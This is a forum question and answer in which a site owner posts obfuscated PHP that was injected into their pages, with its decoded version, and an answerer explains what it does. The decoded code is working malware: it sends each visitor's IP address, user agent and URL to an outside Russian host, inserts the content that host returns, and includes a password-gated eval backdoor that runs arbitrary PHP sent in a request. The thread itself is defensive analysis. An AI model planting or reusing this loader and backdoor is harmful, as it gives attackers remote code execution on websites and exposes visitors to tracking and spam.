Strange code inserted in the page

0

This weekend the following code was introduced in the pages of my website, however I did not understand what he does right, could anyone help me?

Encrypted Code ...

//###=CACHE START=###
error_reporting(0);

assert_options(ASSERT_ACTIVE, 1);

assert_options(ASSERT_WARNING, 0);

assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl93q3phoJy0LJ1uYaW1Y2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWTyjXF4vWzD9Vv51pzkyozAiMTHbWTDcYvVzqG0vYaIloTIhL29xMFtxqFxhVvMwCFVhWTZhVvMcCGRznQ0vYz1xAFtvLGZ4LzWuMQL1LmAzMwt2BTD0ZGt1LzD4ZGt0MwWzLzVvYvExYvE1YvEwYvVkVvx7PzyzXTyhnI9aMKDbVzSfoT93K3IloS9zo3OyovVcVQ09VQRcVUfXWTyvqvN9VTMcoTIsM2I0K2AioaEyoaEmXPE1pzjcBjc9VTIfp2Ic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uMwqxAzH1VvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###

Decrypted code ...

<?

if (isset($ibv)) { echo $ibv; } else { error_reporting(0);
ini_set("display_errors", "0");
if (!isset($ibv)) {
if(!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
if(preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u"; else $c = "w";
$d = $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$u = $_SERVER["HTTP_USER_AGENT"];
$ip = $_SERVER["REMOTE_ADDR"];
$url = "http://www.mitama.ru/get.php?ip=".urlencode($ip)."&d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("a38bbad65c3ff868d4185bd8184f2fbb".$d.$u.$c."1");
if(ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
} elseif(function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen("www.mitama.ru", 80, $errno, $errstr, 30);
if ($fp) {
    $out = "GET /get.php?ip=".urlencode($ip)."&d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("a38bbad65c3ff868d4185bd8184f2fbb".$d.$u.$c."1")." HTTP/1.1\r\n";
    $out .= "Host: www.mitama.ru\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    $resp = "";
    while (!feof($fp)) {
        $resp .= fgets($fp, 128);
    }
    fclose($fp);
    list($header, $body) = preg_split("/\R\R/", $resp, 2);
    $ibv = $body;
}
}
};
if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "baf7d6e5") { eval(stripslashes($_REQUEST["c"])); }
echo $ibv;}
    
asked by anonymous 30.05.2016 / 16:27

1 answer

4

Examining this code very superficially, you can divide it into two parts

The first of it would be all the lines except the penultimate

What he does there basically is to get information from his server and the user who opened the page and sends this information to http://www.mitama.ru/get.php (just being a Russian site already in order to have an idea that it is something bad)

As far as I can identify, it takes the address that was opened by the user, the User Agent that will have information about the browser used and the user's IP.

It attempts to send this information in 3 different ways, by file_get_contents , curl or socket , depending on which is enabled on the server, and then saves a result in the variable $ibv that in the end it add to the page.

So with that it could add any content to your page, however what I read about it is that as they get the user agent and ip they can detect when it is some crawler from a search engine and display different results just for it.

Imagine the google bot indexing your site, and on every infected page it adds links to its website, so that they can get a better rank for them in google, whereas if an ordinary user opens your site it can be that nothing is displayed, making it more difficult to identify the infection.

In the second part I think there is a bigger problem yet

if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "baf7d6e5") { eval(stripslashes($_REQUEST["c"])); }

Basically if a "p" parameter was passed and if it is the correct value it will execute through eval any code that is sent by the "c" parameter, allowing to execute any PHP code remotely on your server. p>

Now see that if any user opens your page she sends her address to the hacker, and then this hacker can send commands to your server to run, ie it is basically a botnet that can then be used for example to a DDOS attack.

    
30.05.2016 / 19:58